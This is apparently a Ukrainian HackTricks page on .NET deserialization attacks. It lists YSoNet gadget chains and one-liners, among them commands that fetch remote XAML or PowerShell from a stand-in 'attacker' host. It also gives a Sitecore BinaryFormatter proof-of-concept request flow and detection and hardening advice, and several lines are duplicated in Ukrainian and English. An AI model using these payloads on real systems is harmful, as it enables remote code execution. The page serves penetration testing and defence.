| **ObjectDataProvider** (огляд) | Використовує WPF `System.Windows.Data.ObjectDataProvider`, щоб викликати випадковий статичний метод з контрольованими аргументами. YSoNet додає зручний варіант `--xamlurl`, щоб розмістити шкідливий XAML віддалено | `BinaryFormatter`, `Json.NET`, `XAML`, *тощо* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Вбудовує `ScriptBlock` у `System.Management.Automation.PSObject`, який виконується, коли PowerShell десеріалізує об'єкт | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| Gadget Chain | Ключова ідея / примітива | Поширені серіалізатори | YSoNet one-liner |
|--------------|--------------------------|------------------------|------------------|
| **TypeConfuseDelegate** | Пошкоджує запис `DelegateSerializationHolder`, тож після матеріалізації делегат вказує на *будь-який* метод, заданий атакуючим (наприклад `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Зловживає `System.Workflow.ComponentModel.ActivitySurrogateSelector`, щоб *обійти .NET ≥4.8 type-filtering* і безпосередньо викликати **конструктор** заданого класу або **скомпілювати** C# файл на льоту | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Використовує **legacy XML** представлення `System.Data.DataSet` для інстанціації довільних типів шляхом заповнення полів `<ColumnMapping>` / `<DataType>` (за потреби підроблюючи збірку через `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | На середовищах з WPF (> .NET 5) ланцюжить геттери властивостей до досягнення `System.CodeDom.Compiler.CompilerResults`, після чого *компілює* або *завантажує* DLL, передану через `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Використовує WPF `System.Windows.Data.ObjectDataProvider` для виклику довільного статичного методу з керованими аргументами. YSoNet додає зручний варіант `--xamlurl` для хостингу шкідливого XAML віддалено | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Вбудовує `ScriptBlock` у `System.Management.Automation.PSObject`, який виконується під час десеріалізації об'єкта PowerShell | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Усі корисні навантаження **за замовчуванням записуються в *stdout***, що робить їх простими для передачі в інші інструменти (наприклад, генератори ViewState, кодувальники base64, HTTP-клієнти).
> За замовчуванням всі payloads **виводяться в *stdout***, що дозволяє легко перенаправити їх в інші інструменти (наприклад ViewState generators, base64 encoders, HTTP clients).
### Building / Installing YSoNet
### Збірка / Встановлення YSoNet
Якщо немає попередньо скомпільованих бінарних файлів під *Actions ➜ Artifacts* / *Releases*, наступна **PowerShell** команда налаштує середовище для збірки, клонуватиме репозиторій і скомпілює все в режимі *Release*:
Якщо під *Actions ➜ Artifacts* / *Releases* немає попередньо зібраних бінарників, наступний **PowerShell** one-liner налаштує середовище збірки, склонує репозиторій і скомпілює все в режимі *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,17 +216,48 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
Скомпільований `ysonet.exe` можна знайти за адресою `ysonet/bin/Release/`.
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
### Виявлення та зміцнення
* **Виявляйте** несподівані дочірні процеси `w3wp.exe`, `PowerShell.exe` або будь-який процес, що десеріалізує дані, надані користувачем (наприклад, `MessagePack`, `Json.NET`).
* Увімкніть та **забезпечте фільтрацію типів** (`TypeFilterLevel` = *Full*, користувацький `SurrogateSelector`, `SerializationBinder`, *тощо*), коли застарілий `BinaryFormatter` / `NetDataContractSerializer` не може бути видалений.
* Де це можливо, мігруйте до **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку.
* Блокуйте небезпечні збірки WPF (`PresentationFramework`, `System.Workflow.*`), щоб вони не завантажувалися в веб-процесах, яким вони ніколи не потрібні.
### Виявлення та посилення безпеки
* **Виявляйте** несподівані дочірні процеси `w3wp.exe`, `PowerShell.exe`, або будь-який процес, який десеріалізує дані, надані користувачем (наприклад `MessagePack`, `Json.NET`).
* Увімкніть та **примусово застосовуйте фільтрацію типів** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*), коли старий `BinaryFormatter` / `NetDataContractSerializer` не можна видалити.
* За можливості переходьте на **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку.
* Блокуйте небезпечні збірки WPF (`PresentationFramework`, `System.Workflow.*`) від завантаження у веб-процесах, яким вони ніколи не повинні бути потрібні.
## Реальний приклад sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Практичний .NET sink, доступний у автентифікованих потоках Sitecore XP Content Editor:
- API sink: `Sitecore.Convert.Base64ToObject(string)` викликає `new BinaryFormatter().Deserialize(...)`.
- Шлях запуску: pipeline `convertToRuntimeHtml``ConvertWebControls`, який шукає сусідній елемент з `id="{iframeId}_inner"` і читає атрибут `value`, який розглядається як base64кодовані серіалізовані дані. Результат приводиться до рядка і вставляється в HTML.
Мінімальний endtoend (автентифікований):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: будь‑який BinaryFormatter chain, що повертає string (побічні ефекти виконуються під час десеріалізації). Див. YSoNet/ysoserial.net для генерації payloads.
Для повного ланцюжка, який починається preauth з HTML cache poisoning у Sitecore і веде до цього sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Посилання
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net оригінальний PoC інструмент](https://github.com/pwntester/ysoserial.net)
- [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}